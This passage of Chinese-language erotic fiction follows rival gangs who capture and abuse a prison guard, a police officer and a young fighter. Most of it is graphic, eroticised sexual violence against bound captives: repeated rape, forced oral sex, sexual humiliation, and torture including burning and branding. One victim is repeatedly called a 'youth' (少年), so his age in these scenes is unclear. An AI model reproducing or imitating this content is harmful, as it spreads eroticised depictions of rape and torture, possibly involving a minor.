双腿也被用绳索栓住,莫天解开他的皮带,裤子被褪了下来,他浑身起了一阵颤栗,含着
棍子的嘴里发出一声反抗的呻吟。
但一切都已经晚了,莫天吐一口唾沫在自己坚硬粗大的阴茎上,然后逼近吕明的身体。吕
明只觉得肛门一阵撕裂的疼痛,惨叫声被含在嘴里的棍子堵住了,那根肉棍戳进他的身体
,开始粗暴的撞击,他被压制在桌子上的身体随着颤动起来。剧烈的疼痛袭遍全身,吕明
只有咬住嘴里的警棍,强自忍耐。
失去了几个性奴之后,莫天禁止已久的欲望在吕明的身上疯狂的发泄着。
长时间的鸡奸之后,吕明被从桌子上拖到地上,年轻的狱警仰躺在洋红色的地毯上,狱警
制服被解开了,莫天的手揉捏着吕明稚嫩年轻的身体,然后爬上来,阴茎再次进入了他的
身体。
在一阵晕眩中,嘴里的警棍抽掉了,带之以莫天膨胀坚硬的肉棍,吕明想拒绝那只流满了
腥臊精液的肉棍,他的晃动挣扎却使莫天更加的兴奋,他大叫着将一股股的精液注入吕明
的口腔,淋漓着的精液不停的喷射,吕明被迫吞咽着粘稠的液体,更多的精液从嘴角流溢
出来,流满了那装英俊的脸。
莫天终于离开了吕明的身体,他自顾穿好衣服,而将被奸污的吕明撇在那里。吕明的手足
被绳索捆绑着,动弹不得,饱含屈辱的任由发泄了兽欲的莫天观赏玩弄。
莫天坐在椅子里,抽完一只雪茄,这才走过来,解开吕明手脚上的绳索。吕明挣扎着爬起
来穿好身上的衣服,下体的剧痛使他的脸痛苦的扭曲着,他取出手绢擦拭着脸上的精液。
莫天笑眯眯的看着吕明坐完这一切,他走到吕明的跟前,吸了一口烟扳过吕明的脸,突然
吻了下去,他将烟吹进吕明的口腔,吕明呛咳着脸涨的通红,一阵得意的狂笑,文森走进
了办公室。
吕明默然的整理好身上的武警制服,从文森的身边走了出去。一出门,屈辱的泪水再也控
制不住的流了下来。
子夜,看守所的所长办公室里,莫天和文森正在欢宴。
吕明和老董的计划也就在这个时候展开,牢门被打开了,由老董负责看守剩余的囚犯,吕
明带着郭鸿渐和罗景隆避过巡查的哨卡,从后门逃离了看守所。
七 冷夜被淫乱颠覆
就在吕明带着两人离开的几分钟后,邢昊带着郎头出现在看守所的门外,随同的还有十几
名劲装青年,都是刑昊在大旗门中培植的亲信。
“我们来这里做什么?”郎头疑惑的看着看守所围着铁丝网的高墙道。“难道...?”
邢昊点头道:“昨天我收到的消息,景隆就被关在这里。”
郎头咬牙道:“一不做二不休,索性连文森那个家伙一起宰了。”说着一挥手,带着众人
逼近看守所的大门!
此时的吕明,郭鸿渐和罗景隆,正在黑夜中艰难的行进。由于没有铐镣上的钥匙,罗景隆
和郭鸿渐两个人仍然铐镣缠身,景隆带着的刑具更使他无法使力,这使得逃跑有了很大的
困难。三个人好不容易挨过了三条街巷,正准备找一个地方打开这些铐镣的时候,陈勇带
着西山党的手下突然出现了。
景隆锁骨被穿,郭鸿渐双手反铐,两个人又都拖着脚镣,剩下吕明一个人,哪里使陈勇一
伙的对手。但陈勇一帮人却并不恋战,几个人拖住吕明,其余的人直扑罗景隆,这才是他
们的真正目标。不到几个回合,罗景隆就落在了他们的手中,早有准备好的胶带将少年的
嘴贴上,塞进一辆飞驰而来的汽车里,撇下被打倒在地的吕明和郭鸿渐扬长而去。
看守所里,去上洗手间的阿强猛然看到从天而降的郎头和大旗门的手下,吓的一声怪叫。
看守所里顿时乱成一团。
莫天和文森闻声出来查看,正和冲上楼的郎头邢昊撞个正着,郎头关切着罗景隆的安危,
眼见行藏已陋,怒吼一声,如同一只猛虎扑向两人。
莫天被郎头的气势吓的连连败退,惧意一生,再也不肯停留,扔下大呼小叫的文森不管,
夺路而逃。
文森也吓慌了,枪都没来得及拔,一个疏神,早被郎头一拳擂在胸口上,一声惨叫跌在地
上,再也爬不起来。
郎头一脚踏住文森,喝问道:“罗景隆被你关在哪里了?”
文森连忙道:“...在...在北面一层7号牢房......”
郎头哼了一声,扔下文森,折身向囚室冲去。
文森欲待逃走,邢昊从旁边无声的欺近,一道雪亮的刀光闪过,文森的身体猛的软瘫了下
来,倒在了华丽讲究的地毯上面。邢昊双目闪动,不再迟疑,也向牢房跑去。
牢房的门被一个藏族装扮的大汉踹开了,狱警老董吓的浑身发抖,退后几步闪在大汉的身
后,伸手指着角落里侧卧着的人道:“...在...在那里...”
郎头乍见罗景隆,心神荡漾,见他面向里躺在床上一动不动,以为身上受了伤,忙上前扶
住道:“景隆,你怎么样了?”
就在这时,床上的人突然翻身,一把匕首直刺郎头的小腹,郎头大惊,向后急退。身后的
老董已经冲上来从背后将他一把抱住,郎头急挣不脱,两个人一起摔跌在地上。伪装罗景
隆的刘猛一声令下,旁边的犯人一拥而上,将郎头按倒在地,几条粗绳将郎头捆了个结实

刘猛狂笑道:“想不到大旗门的第一高手,居然被我抓住了。”
侯斌笑嘻嘻的道:“还是个藏族人呢!”说着话去扯郎头额头上的头巾,被郎头一声怒吼
,一脚踹的飞了出去,等人去查看时,双眼翻白,眼看着活不了了。
其余几个人吓慌了手脚,老董连忙命人按住不停挣扎的郎头,将一副脚镣锁在他的脚踝上
,双手也被带上手铐。
郎头再也无法挣扎,大叫道:“你们究竟是什么人?”
老董仍然不敢离郎头太近,远远的道:“我们是西山党的门下,现在你们大旗门已经全落
在我们手中,豪血寺也只剩下莫天和惠觉那个秃驴,这里很快就是我们的天下了!”
郎头闻听,立刻想到邢昊还在外面,连忙纵声道:“邢昊,小心埋伏!”
门口一个温柔的声音道:“这里根本没有邢昊这个人。”来的人温柔美丽,他的脸在暗夜
里绽放着奇异的光彩。
“你...你......”浑身绳捆索绑的郎头看着面前这个熟悉的男子。
邢昊笑道:“如果铁辉在这里,我可就装不下去了。我是星豪,鬼首罗霸的儿子,西山门
的门主。郎头,你想不到吧?!”
郎头吃惊的看着眼前这个志得意满的男子,双目如要喷出血来。他咬牙道:“你把景隆怎
么样了?”
星豪道:“他现在也已经落在我的手里了。”他幽雅的从老董的手里接过一只雪茄来,点
燃。火光一现既逝,烟雾缭绕中,依稀仿佛他还是那么美丽动人。“给他多加一副镣铐,
这家伙不好对付。”他吩咐着手下。
郎头的手脚上立刻又多了一副铐镣,沉重的铁链使他移动都非常困难。
刘猛伸手进郎头的袍子里,在裤裆上狠捏了一把。郎头躲避不开,脸愤怒的红着。“滚开
!”
但他手脚无法动弹,刘猛更肆意的在他的裤裆里抚摸了一阵,恋恋不舍的道:“门主肯定
已经尝过这家伙的滋味了吧。”
看这刘猛的色相,星豪不快的皱了皱眉头,但随即笑着道:“他可是个十足的男人哦,就
是身上的味道不好,你们立了大功,押他回去让大家好好享受吧!”
刘猛喜形于色,见郎头挣扎着还要和星豪理论,就用粗绳胡乱在郎头的嘴上牢牢的缠绕了
几圈,使他无法开口说话呼喊,一群人押着郎头,向看守所外走去。
此次星豪带来的全使贴身的心腹,经过一段时日的斡旋,大旗门中的固有势力也已经被星
豪瓦解殆尽。
郎头拖着双重的铐镣,沉重异常,双腿缓慢的挪动着,身后被不停的推搡着,他怒目注视
着星豪从他身边走过,被绑着粗麻绳的嘴里发出愤怒的声音。
八 凌晨虐
长夜无际,浑身酸疼的吕明扶着双手反铐,脚拖铁镣的郭鸿渐望着劫持罗景隆的汽车消失
在黑暗深处。
“怎么办?”夜风凄冷,身上的伤隐隐做痛,吕明喘息着,问身边的郭鸿渐。
“先把我的手铐打开,我们离开这里再说。”郭鸿渐道。
两个人正说着话,只见街道一侧的小巷里猛的窜出一个人来,那人穿着的警服凌乱,气喘
吁吁,却是从看守所里被郎头惊走的莫天。他刚刚给惠觉打了电话,在街口焦急的等待着
救兵的到来。
莫天一见二人,先是一惊,随即看到了郭鸿渐手脚上的铁链,随即镇定了下来。脑子一转
,已经有了计较。
眼见莫天气急败坏的冲过来,吕明来不及多想,只有奋力迎战,但他如何是莫天的对手,
郭鸿渐镣铐加身,帮不上他的忙,却也不愿意自己逃开。看着吕明被莫天打倒在地,郭鸿
渐挺身挡在他面前道:“你抓我回去好了,放了他!”
莫天不屑的笑道:“你们俩个都握在我的掌心,谁和你讨价还价?!”说着三拳两脚将郭
鸿渐打的跌倒在脚下。“我莫天死里逃生,真是不幸中的大幸。豪血寺岂是几个小毛贼能
推翻的!我就请你们二位去我的另一处住所,好好的招待招待你们。郭警官,你一定有兴
趣去看看的吧?”
莫天抽下吕明的皮带,将年轻狱警的两条胳膊拉到身后捆住。然后又去扒他的裤子,吕明
奋力挣扎着,可是他却完全无法抵抗,一滩湿腻的唾液滴在他的屁股上,莫天再次狂猛的
操着他的屁股,他只有咬紧牙关,拼力不发出声音。
午夜的街头,邪恶的场景让郭鸿渐心里发寒。他挣扎着怒骂道:“你这个畜生!”
莫天一边尽情的抽送,一边道:“郭警官,不要着急,很快你也将成为我的玩物!”
满足了淫欲的莫天撕下吕明的短裤,擦拭着自己的阴茎,然后,将那团被精液濡湿的布头
塞进郭鸿渐的嘴里。
这个时候,远处闪过一道车灯的亮光,莫天知道是救兵来了,疯狂的脸上露出了一丝邪恶
的微笑。“迟早我要把你们这些人逐一铲除!”他恨恨的想着。
将要破晓时分,城市却笼罩在一片更加深沉的黑暗之中。
西山党的陈勇有一家私人的公司,公司里的密室之中,此时却是灯火通明。
密室门窗紧闭,一盏明亮刺目的射灯下,烟雾弥漫着。房间里充满了烟草味和血腥气,陈
勇和他的几个手下正在折磨被他们劫持的少年罗景隆。
“啊---!”一声惨叫从受刑的少年嘴里发出,鲜血顺着他带着刑具的锁骨上渗出,流满他
肌肉丰满的胸膛和小腹。
大旗门的彪悍少年罗景隆被用绳索捆在一个“十”字型的木头刑架上,绳索紧捆着他的手
腕和足踝,
陈勇猛的拉扯栓着他锁骨和生殖器的铁链,调笑着道:“这是哪个相好的送给你的礼物啊
!带在身上还真是充满诱惑呢!”他一边说着,一边捏着被拽的来回晃动的罗景隆的阳具
,在手里反复的摩挲起来。
阴茎在手指的刺激下逐渐的膨胀起来,但随即因为鸟环的限制而变的异常难受。下体的憋
涨越来越强烈,罗景隆咬紧牙关,使劲的忍耐着,额头上的青筋高高鼓起,鼻翼剧烈的翕
动,发出压抑折着的嘶鸣。
陈勇手上更加的卖弄,使得那只年轻的阳具在他手里更加的坚硬起来。他凑近罗景隆涨红
的脸道:“叫出声来啊!只要你肯求饶,我就替你把这个长命锁卸下来!”
罗景隆一声不吭,额头泌出大颗的汗珠,他的呼吸越来越急促,胸膛剧烈的起伏着。
“怎么?冲硬汉子么?”陈勇冷笑着道。“那老子就陪你玩玩!”
他向身后一个手下使了个眼色,那手下二十来岁年纪,一张脸苍白瘦小,此刻走过来,跪
在被绑在刑架上的罗景隆面前,张开嘴,将那只在鸟环中跃跃欲试的阳具放进自己的口中

罗景隆只觉得下体一阵不安的燥热,下体的兴奋却带来了更大的痛苦和煎熬。他的脸疼的
扭曲着,咬紧的牙关流出鲜血,嘴里一股咸咸的腥味。
陈勇点上一只香烟,将烟雾喷在满使汗水的罗景隆的脸上,笑眯眯的叫道:“血气方刚的
一个少年,我看你忍耐多久!”
下面替少年口交的随从更加的用力,他的舌头舔动着罗景隆的龟头,让那只棍子在嘴里迅
速的进出。少年的阳具在他的砸吮下如铁一般的坚硬,但被鸟环限制着根部,整个阳具都
因为充血而变成了紫红色。
陈勇用手抚摸着少年健壮的起伏着的胸膛,“给你带这个刑具的人是想控制你啊!你知不
知道,我也很想啊。哈哈...”说着话,手指扣住罗景隆胸前的铁链,再次猛烈的拉动。
罗景隆再也忍耐不住,嘶声惨叫。他急促的喘息着,咬牙骂道:“姓陈的,我恨不能把你
......”他的话没说完,陈勇已经一把捏住了他的下颚,将一口香烟的烟雾对着他的嘴,
直喷进少年的喉咙里去。罗景隆不曾防备,被呛的咳嗽不止,整个身体剧烈的颤抖的同时
,大股的精液急射而出。
那随从灵巧的闪开身子,轻笑着道:“呦!这么快就出了,差点弄到人家身上,真是坏死
了!”
旁边的众人哈哈大笑着,受尽折辱的罗景隆痛苦的吼叫着,挣扎着,汗水浸湿了他的头发
,贴在脸上,看着眼前这群狼一般凶狠残忍的敌人,绝望的闭上了眼睛。
夜逐渐的消退,却没有阳光,一个冷风萧杀的秋天的早晨。天空阴沉,厚重的乌云压的人
喘不过气来。树木掩隐的远处,坐落着一座阴森的建筑。高高墙壁冷漠的伫立在那里,冷
漠的迎接着急驶而来的黑色轿车。
莫天押着郭鸿渐和吕明走下了汽车。
几个人抬头望去,高大的门楼上,红色的大门紧闭着。
莫天推搡着被反剪着手臂的狱警吕明走上台阶,另外两个大汉押着郭鸿渐跟在后面。
九 苦难不同历程各异
莫天昂然进入,宽敞的通道两边齐刷刷站着他培植的十名精锐部下。
一个个汉子都是三十岁上下年纪,剃着光头,赤裸着上身,宽胸厚背,胸前纠缠着黑色的
体毛,下身穿着黑色的皮裤,脚蹬皮靴。
立刻过来几个光头大汉,押着郭鸿渐和吕明向庭院的深处走去。
吕明被押进一间石室之中。四面都是巨石砌成的墙壁,天窗高而狭窄,露进一丝灰蒙蒙的
天光。
“希望你很快能适应这里的环境!”莫天恢复了以往的嚣张气焰,他叼着雪茄烟,看着光
头手下将吕明推倒在墙角的一堆破旧的褥子上,用麻绳将吕明五花大绑起来,两只脚也绑
在一起。
房间里阴暗潮湿,地上的被褥也都潮湿霉烂,打手撕下一把棉絮破布,蛮横的塞在吕明的
嘴里。
莫天看了看被捆绑着横陈在面前的吕明,随即吩咐打手道:“严加看守!”然后转身对身
后被大汉挟持着的郭鸿渐道:“现在,我们来招待你!”
郭鸿渐被押进另一个房间,这个房子比囚禁吕明的地方要稍大一些,墙上挂着刑具和锁链
,两个凶神恶煞的打手敞着衣襟叉腰守侯在那里,显然是刑讯的场所。
手脚上的枳铐打开了,两个魁梧的打手扭着郭鸿渐的胳膊,将他的手臂按在墙壁上两个间
隔两米的铁环上,用绳索捆定,两只脚也被用同样的方法栓在墙角的铁环上。
“郭警官,你不是要领教我的手段吗?”莫天狞笑着道。“那我们现在就开始吧!”
旁边两个壮汉手中各持一根木棍走到郭鸿渐的面前,“唰!”的一声,粗暴的撕开他的衣
服,他结实匀称的身体暴露在敌人的棍棒之下。
郭鸿渐的四肢被大字型捆绑在墙壁之上,被用裤衩塞着的嘴里发出愤怒的声音,但随即,
木棍狠狠的打在他的小腹上。他痛哼了一声,疼的弯下腰去,接着,满是胸毛的健壮胸膛
又挨了重重一击。随着郭鸿渐的身体在绳索间疯狂的摆动挣扎和颤抖,捆绑着手脚的铁环
与墙壁撞击摩擦,发出刺耳的声音。随着莫天得意的笑声,棍子雨点般的落在了郭鸿渐的
身上。
陈勇拉扯着铁链,让栓在链子上的少年的阴茎来回的晃动着,阴茎屈辱的摆动,兀自枉然
的滴着精液。冰冷的液体顺着少年的大腿内侧流淌下来,有一些麻痒。
“今后你就是我的奴隶,今天是给你接风,你要是敢反抗,还有更好的等着你呢!”陈勇
恶狠狠的说。
“呸!”罗景隆将一口唾沫吐向陈勇。
陈勇侧身闪过,嘿嘿狞笑着。突然一把扭住罗景隆的头发,命人将一只用过的避孕套塞进
少年的嘴里。套子里盛着满满的乳白色的液体,而外面粘着肮脏的分泌物,罗景隆只觉得
嘴里一阵发涩,恶心的几乎呕吐起来。可是他的嘴被陈勇的大手钳制着,套子被喂进了嘴
里,那个替他口交的随从笑嘻嘻的趋近,伸嘴过来,就着露在景隆嘴边安全套的开口,鼓
着腮帮子往里吹气。安全套就在少年的口腔里膨胀起来,顶在上下颚之间,随后口被扎住

“怎么?有意见吗?吐我呀!”看着罗景隆愤怒而痛苦的神情,陈勇嚣张的道。
嘴被撑开着合不拢来,舌头舔着粘涩的分泌物,连转动的余地都没有,而且稍微的用力,
牙齿就会咬破冲气的套子,这样一来,里面的精液更会流进嘴里。少年被迫大张着嘴,发
不出丝毫的声音,也只有忍受着陈勇的羞辱。
“来呀!吐呀!”陈勇也知道少年不愿嘴中的套子破裂,更加的逗弄着他。
少年被气的浑身颤抖,就在这时,淫笑着的陈勇突然将手中的烟头按向少年的胸膛。
“唔!”罗景隆的身体猛的向后仰动,鼻孔发出痛苦的闷哼。
陈勇将烟蒂在少年的胸膛上来回烧炙,一股股的青烟从少年的身上冒起,屋子里充满了皮
肉烧焦的臭味,陈勇的眼里闪着凶残的光,他看着强自忍耐的罗景隆身体绷成了弓形。“
你是我的玩物!”陈勇一字一字的道。“你就是一只畜生!明白吗?”
“啪!”的一声,嘴里的安全套被咬爆了,粘稠的液体从嘴角迸射出来。
旁边的人哈哈大笑起来。少年一声怒吼,身体奋力的挣扎,又是一声闷响,胳膊上捆着的
一条绳索被绷断了。陈勇粹不及防,吓的接连后退了几步。旁边的随从连忙上前将罗景隆
按住,一顿拳打脚踢。
“用牛筋索!一帮废物!”回过神来的陈勇想到刚才的失态,恼怒的怪叫着。
罗景隆浑身捆满了牛筋绳索,一根根牛筋深深的勒入肌肉之中,这一次是丝毫动弹不得了
。少年看着脸色尴尬的陈勇,将嘴里的污物吐勒过去,傲然骂道:“一个草包!你才是下
贱的奴才!”
少年的嘴立刻被捏住,几个粘连着黏液肮脏的安全套,连着卫生纸一起填进了他的嘴里。
在陈勇的命令下,旁边的铁桶里生起了熊熊的炭火,几只铁钎子插在里面,被烧成暗暗的
红色。
陈勇收拾心情,狠狠的道:“你不要张狂!马上就有你的苦头了!”
旁边的随从又开始玩弄罗景隆牵挂着黏液的阴茎,一边看着炉火逐渐的旺盛起来。
陈勇从炭火里抽出一只铁钎子,前面的铁质印章被烧的通红,他举着烙铁凑近少年的脸颊
。罗景隆只觉得一阵逼人的热浪扑面而来,只见烙铁上有一个清晰的“陈”字,浑身的肌
肉都紧绷了起来,而下体却在随从的套弄下更加的涨硬。
“这种时候,你还会享受哦。”陈勇笑嘻嘻的又将烙铁移向罗景隆挺直的年轻的阴茎。
炙烤中,少年的阴茎更加的膨胀了,随从快速卖力的掳动着他的阴茎。随着罗景隆的几声
呻吟,一股股精液射在了烧的通红的烙铁上,冒起一阵阵焦臭的烟雾。
陈勇看着喘息未定的罗景隆,突然把烙铁按在了少年的壮实的胸膛上,尽管嘴被塞住,少
年还是发出一声沉闷惨烈的嘶吼,他的身体剧烈的震动着,胸膛前烙铁烧炙,发出“嘶嘶
”的声音,大片的白雾升腾,房间里弥漫着皮肉焦糊的气味。罗景隆终于昏了过去。
一桶冷水又将少年泼醒过来,水珠顺着下巴滴落在烙着“陈”字烙印的胸膛上,皮肤烧焦
,翻卷着淋漓的血肉,被牛筋绳索捆绑的身体无法移动,罗景隆无力的垂下了头,阴茎上
,残存的精液缓缓的滴落,拉着一条纤细孱弱闪亮的白色长线。
十 践踏威武
天空一直阴沉了,冷风从石室上方狭小的窗户灌进来。
光头看守点上一只香烟,打量着囚禁在牢房里的俊秀的狱警,眼里闪动着欲望的光。他探
头出去,在走廊里左右张望了一下,空荡荡的走廊里寂静无声,遥远的地方传来隐约刑讯
的声音。看守回身又看了一眼牢房里的犯人,咽了口唾沫,终于慢慢了走了过来。
他走到被五花大绑着的吕明面前,蹲下身,仔细的端详着吕明俊秀的脸庞,半昏迷中的吕
明微闭着双眼,长长的睫毛轻微的颤动。嘴里塞着布团,他的鼻孔因为粗重的呼吸而翕合
着。看守狠狠的吸了一口烟,将烟吐向这个美丽的俘虏。
一股辛辣劣质烟草气味使吕明苏醒过来,面前的壮汉一脸淫笑的看着他,反抗着徒劳的,
那只手开始在他的身体上抚摸,然后褪下了他的裤子。
看见吕明糊着精液和污物的屁股,那个看守显得更加的兴奋,他喘息着开始脱掉脚上的靴
子和黑色皮裤,露出一只丑恶的散发着骚味的肥壮阳具,站在吕明的头顶。
吕明立刻闻到了一股酸臭刺鼻的夹杂着皮革的气味从那双穿着白色尼龙袜子的脚上传来,
五花大绑的吕明就横在看守的脚下,那双脚伫立在他面前,白色的袜子因为汗渍和污垢已
经变的焦黄,年青的狱警呼吸着浓烈的气味,却无法躲避。
厄运再次降临在他的身上,看守开始鸡奸被捆绑着的狱警,刺痛使他的身体绷紧着,猛烈
的抽插中,看守的双手伸进吕明凌乱的武警制服,在他的身上抚摸揉搓。
也许是担心被发现的缘故,光头看守很快的将精液射进吕明的身体,但他并不就此放过年
轻的俘虏。他翻转吕明的身体,让他仰面朝天躺在潮湿的被褥上,自己则坐在吕明被绳索
捆绑着的胸膛上,将一双毛腿搁在吕明身上,用那双恶臭湿腻的袜子玩弄吕明秀美的脸。
吕明挣扎着,躲闪着,塞着破布的嘴里发出不满的呻吟。
光头看守玩的更加兴起,将脚掌盖住吕明的鼻孔,强迫他呼吸袜子上酸臭的气味。吕明的
口鼻被严密的捂着,湿腻的脚在他的脸上碾动。吕明被迫闻着臭袜子,身体却莫名的亢奋
起来。他尽力的想要阻止身体上可耻的变化,却还是被看守发现了。
“原来你喜欢我的臭袜子!”光头看守一边说一边用脚去逗弄吕明的裤裆。他感觉到对方
的阳具更加的坚硬挺直,不由得再次兴起,自己的阴茎也膨胀了起来。
看守的阳具再一次捅入吕明满是精液的屁眼,经过了多次的润滑,看守快速的抽动着,同
时伸手握着吕明的阳具掳动起来。吕明的意志逐渐的模糊,被塞住的嘴里发出兴奋的呻吟

刑讯室里,郭鸿渐已经被打的遍体鳞伤,胸膛小腹青紫淤血。每一棍落下,被塞住的嘴里
都发出一声微弱的闷哼。
“这就是和我作对的下场!”莫天让打手稍停,走上前去解开郭鸿渐的裤子,将嘴角的雪
茄烟蒂塞进青年的内裤里去。他冷漠的看着郭鸿渐痛苦的挣动,嘴角泛起一抹残忍的笑意
道:“你先享受着,我去招呼一下你的同伴!”又挥手对两边的打手道:“给我继续打!

木棍重重的落在郭鸿渐粗大的毛腿上,青年一声痛哼,站立不住,捆绑着双臂的绳索拉扯
的他整个人仿佛都要分开了。
两个打手开始褪下他的裤子,郭鸿渐整个身体的重量都挂在胳膊上,根本无法反抗。听着
两个打手说着淫秽的私语,色迷迷的欣赏他受过刑的赤裸的身体。他们开始用手抚摸郭鸿
渐的身体,揉捏着他的黑茸茸的体毛中隐藏着的乳头阴茎和睾丸。
血气方刚的男儿在棍棒下威武不屈,此时却完全无能为力,眼睁睁的看着自己的阳具在对
方的玩弄下兴奋的勃起。
就在这时,刑讯室的门被推开了,狼狈不堪的吕明被押了进来。他身上的狱警制服凌乱着
,双臂五花大绑着,双腿间栓着一条短绳,亢奋的阴茎被用绳子捆扎着,吊着两只大皮靴
,随着他的走动前后晃动着,嘴里叼着一双肮脏发黄的袜子,眼神散乱迷茫的望着前方。
“看看你的同伴,很会适应这里的生活呢!”莫天高声道。
后面的光头看守喝道:“跪下!”
吕明秀美的脸扭曲了一下,慢慢的跪在了地上。
郭鸿渐看向那个被折磨的已经绝望的美丽的青年,只觉得浑身的血液都被愤怒烧灼,可面
对着自己的是更加残酷的折磨和羞辱。
手脚被从铁环上解放出来,打手威胁着道:“如果想要你的同伴活命,就乖乖的别动!”
于是,郭鸿渐身上的衣服被扒光,也用麻绳五花大绑起来,一个绳套挂在他的脖子上收紧
,牵着他走到吕明和莫天面前。
莫天傲慢的看着面前的俘虏,旁边的打手试图让他下跪,但郭鸿渐坚强的挺立着。立刻棍
棒无情的将他打倒了,绳索更严密的将他的长满黑毛的胸膛小腹,大腿小腿以及双脚都严
密的捆绑结实。
莫天蹲下身来,握住了郭鸿渐余怒未熄的阴茎。“你的鸡吧很不错嘛,不过要会用才好啊
。”
郭鸿渐感到一阵战栗传遍全身,下体在莫天粗暴的掳动下,一点点的壮大。身体被捆绑着
,完全无法挣扎和反抗,旁边看守伸出一只肮脏的大脚踏在了他的脸上。青年被摆弄着,
逐渐的被迫走向高潮。
跪在郭鸿渐面前的吕明不忍看同伴被如此的羞辱,痛苦的扭过脸去,但随即被打手揪着头
发按住,强逼踏观看这残酷的场景。
一罐润滑油涂抹在郭鸿渐愤怒挺立着的阴茎上,莫天一边用手揉动着他的龟头,一边命令
跪在一边的狱警:“坐上去!”
十一 成王败寇法则
“不!”吕明挣扎着,叼着袜子的嘴里发出痛苦的喊声。
看守立刻将袜子塞进他的嘴里,让他发不出声音。两个打手将他架起来,放置到郭鸿渐的
身体上方蹲着。
“要么让他操你,要么让他谁也操不成,你自己选吧!”莫天从腰上抽出一把锋利的匕首
在郭鸿渐丛生的阴毛中比画着道。
吕明咬着嘴里咸涩的袜子,眼里含满了泪水。他能感觉到那只火热坚硬的棍子碰触着他结
实浑圆的屁股,他的身体痛苦的颤抖,望着郭鸿渐,郭鸿渐口不能言,使劲的摇头。旁边
的看守狠狠的在他的脸上踹了一脚,立刻,鼻血顺着脸颊流了下来。
“坐下去!”莫天命令道。
吕明慢慢的放低身体,那只坚硬的阳具长驱直入。郭鸿渐绝望的呻吟了一声,吕明的身体
开始轻微的摆动,欲望充斥着他的身体,郭鸿渐紧闭着眼睛,却不由自主的挺动着身体,
嘴里发出断续的呻吟。
吕明被捆扎着的阴茎也挣扎着勃起了,他完全沉浸在郭鸿渐猛烈的攻击中,挂在阴茎上的
皮靴一下下有节奏的在郭鸿渐的小腹上起伏着,逐渐的变快,终于,郭鸿渐的身体猛的僵
硬,而就在这同时,旁边的两个打手抓着吕明猛的离开郭鸿渐的身体。
那只粘满了润滑剂和分泌物的阳具在空中徒劳的挣动了几下,大股的精液射了出来,落在
自己体毛旺盛的胸前,小腹上。同时,吕明被押到他的面前,在看守的手淫下,吕明的精
液喷洒在郭鸿渐的脸上。
莫天看着这两个英俊的青年被自己猫捉老鼠一般的玩弄,得意的狂笑。
郭鸿渐痛苦的扭转头去,脸上粘满了自己同伴滚烫的精液,无以复加的耻辱使他崩溃了。
他看到和他一样被五花大绑,嘴中塞着袜子的吕明脸上的泪光。
可是一切并没有结束,郭鸿渐的身体被翻过来,肛门里被塞进大把的润滑油,莫天脱下裤
子,将昂扬着的阳具塞进青年处子的屁眼。尽管有大量的润滑油,可那只粗硬的肉棍还是
戳的郭鸿渐痛苦不堪,莫天更加的进入,郭鸿渐一声悲鸣,昏了过去。
但莫天却不停止,更加粗暴的操着郭鸿渐的屁股。大叫着道:“哇!好爽!”
旁边的打手忍耐不住,也凑上来,掏出郭鸿渐嘴里的塞口物,将自己的鸡巴喂进昏迷青年
的嘴中。
只觉得一阵窒息,郭鸿渐呛咳着醒了过来,后面热乎乎的棍子在凶猛的抽动着,疼痛在浑
身蔓延,而他的嘴里竟然也有一只肉棍在拼命的抽送,满是骚臭体毛的小腹撞击着他的脸
,他无法动弹,双重的痛苦使他几乎再次昏厥。
剩下的两人看的浑身燥热,一起走向被捆绑在一边的无助的吕明。
收拾完看守所的残局,已经是中午时分了。
星豪带着手下回到大旗门,此时罗景隆,郎头被俘,其余几人都被除掉。大旗门已经完全
被西山党一手掌控。星豪含笑走进大旗门的议事大厅,坐在龙头的位子上,高声道:“把
那个俘虏给我押上来!”
随着一阵铁链声响,老董和刘猛押着高大魁梧的藏族汉子郎头走了进来。沉重的脚镣使得
他举步艰难,浑身捆满的绳索更使他无法挣扎。他愤怒的扫视了一眼大厅中的这些叛乱者
,然后把目光停留在高台上泰然安坐的星豪身上。
“成者为王败者寇!我已经是阶下囚,你要杀就杀,不必说什么废话了!”郎头傲然道。
星豪的脸上露除胜利者的笑容,他点了一根烟,悠然的吸了一口道:“你虽然是我的俘虏
,但毕竟我们共事过,而且......”他缓缓的吐散烟雾,还是和以前一样的迷梦般的优雅

“住口!”看着眼前人,郎头暴怒。“你这个奸细!叛徒!”
星豪不以为意的一笑。“你不仁,我不能不义。只要你肯投降...”
“你休想!”郎头打断了他的话。
星豪站起身来,从高台上走下,来到被捆绑着的汉子身前。“难道你忘记了我们的情谊?
”他的眼角有一些哀伤和幽怨,那么的美,让人窒息。“你忘记了我们一起的那些日夜?
”他继续说。
郎头恨声道:“你不要再装了,我...”
话没说完,星豪突然吻住了大汉的嘴,汉子惊慌,想要闪躲,但脸被按住了,身上沉重的
镣铐使他无法移动。星豪的舌头在他的口腔里好一阵翻滚,“你还是记得我的,不是吗?
”星豪梦呓般的低声道。
郎头从刹那的迷幻中清醒过来,他晃动身子,挣脱星豪的纠缠,将嘴中的唾沫吐在地上。
“不要自做多情了,你索性杀了我吧!”
“哦?”媚眼如丝,星豪斜看着汉子,脸上闪过一个阴毒的笑容。“我倒要看看是不是我
自做多情?!”一边说一边伸手进郎头的皮袍里,他熟悉这个汉子的身体,熟悉每一寸肌
肤的细节和特点。他的手指熟练的在那些绷紧的肌肉之间滑动,环手将魁梧的大汉揽进自
己温柔的怀抱中。香甜的舌尖,吮吸着汉子的耳朵,气息如兰,要将那男儿瓦解。
在曾曾捆绑之中的藏族大汉,不禁想起了那双手,那舌尖的清凉,还有那细致的吻以及曾
让自己消魂天外的人。不知不觉,他发现自己的身体开始了某些变化。
“住手!”郎头努力克制着自己。
星豪轻笑,用牙齿轻咬住郎头耳朵上的金色耳环拉扯着,双手深入郎头的裤裆。
“住手...”郎头的声音柔和了下来,眼睛也迷茫了,不自禁的回应着星豪的亲吻和抚摸。
十二 空中有欲望悬吊
袍带被揭开,星豪脱下郎头的马裤,将那只勃起的巨大阴茎放在手里摩挲,郎头喊着“邢
昊”的名字,眼神温柔,完全沉浸在欲望之中。
突然,星豪离开了郎头的身体,冷冷笑道:“自做多情的不是我,是你!”
热情和激昂还在,却堕入现实之中,带着重镣,绳索捆绑,郎头绝望的看着面前的一切,
而自己的阴茎则愤怒的挺立着,使他感到无比的痛苦和耻辱。他怒吼着拖着脚镣冲向星豪

星豪轻巧的闪开,身后的老董和刘猛则将藏族汉子牢牢按住,顶着他的腰,让他勃起的阳
具突立在众人面前。
郎头的脸因为愤怒而涨红着,老董嬉笑着逗弄他已经完全挺立的阴茎,展示给大厅里的众
人。
一张桌子推到郎头的身后,他被仰面按倒在桌子上,老董的手紧紧的攥着他的阳具,使劲
的套弄。
